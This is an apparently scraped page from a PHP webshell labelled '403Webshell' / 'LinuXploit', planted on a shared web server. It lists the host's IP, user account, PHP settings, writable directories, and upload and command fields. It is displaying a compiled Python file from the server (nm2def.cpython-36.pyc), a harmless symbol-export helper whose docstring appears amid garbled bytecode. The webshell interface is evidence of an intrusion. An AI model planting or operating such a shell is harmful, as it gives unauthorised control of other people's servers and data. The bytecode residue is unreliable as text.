403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.158
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/Tools/scripts/__pycache__/nm2def.cpython-36.pyc
3

x2_�	�@s�dZddlZddlZdejdd�Zdejdd�ZdZedfd
d�Zdd
�ZdZ	fZ
e
fdd�Zdd�Ze
dkr|e�dS)aEnm2def.py

Helpers to extract symbols from Unix libs and auto-generate
Windows definition files from them. Depends on nm(1). Tested
on Linux and Solaris only (-p option to nm is for Solaris only).

By Marc-Andre Lemburg, Aug 1998.

Additional notes: the output of nm is supposed to look like this:

acceler.o:
000001fd T PyGrammar_AddAccelerators
         U PyGrammar_FindDFA
00000237 T PyGrammar_RemoveAccelerators
         U _IO_stderr_
         U exit
         U fprintf
         U free
         U malloc
         U printf

grammar1.o:
00000000 T PyGrammar_FindDFA
00000034 T PyGrammar_LabelRepr
         U _PyParser_TokenNames
         U abort
         U printf
         U sprintf

...

Even if this isn't the default output of your nm, there is generally an
option to produce this format (since it is the original v7 Unix format).

�Nzlibpython%d.%d.a�zPython%d%d.dllznm -p -g %s�T�C�Dc	Cs�tjt|�j�}dd�|D�}i}xX|D]P}t|�dks*d|krDq*|j�}t|�dkrZq*|\}}}||krnq*||f||<q*W|S)NcSsg|]}|j��qS�)�strip)�.0�srr�9/opt/alt/python36/lib64/python3.6/Tools/scripts/nm2def.py�
<listcomp>.szsymbols.<locals>.<listcomp>r�:�)�os�popen�NM�	readlines�len�split)	�lib�types�lines�symbols�line�itemsZaddress�type�namerrr
r+s

rcCszg}g}x>|j�D]2\}\}}|dkr6|jd|�q|jd|�qW|j�|jd�|j�dj|�ddj|�S)Nrr�	�z DATA
�
)rr)r�append�sort�join)r�data�coderZaddrrrrr
�export_list<s
r$zEXPORTS
%s
cCsJxDt|j��D]4}|dd�dksB|dd�dkr4q||kr||=qWdS)NrZPyr
Z_Py)�list�keys)rZspecialsrrrr
�
filter_PythonUs
 r'cCs8tt�}t|�t|�}tj}|jt|�|j�dS)N)	r�	PYTHONLIBr'r$�sys�stdout�write�DEF_TEMPLATE�close)r	Zexports�frrr
�main]sr/�__main__)rrr)�__doc__rr)�version_infor(ZPC_PYTHONLIBrrr$r,ZSPECIALSr'r/�__name__rrrr
�<module>$s	

Youez - 2016 - github.com/yon3zu
LinuXploit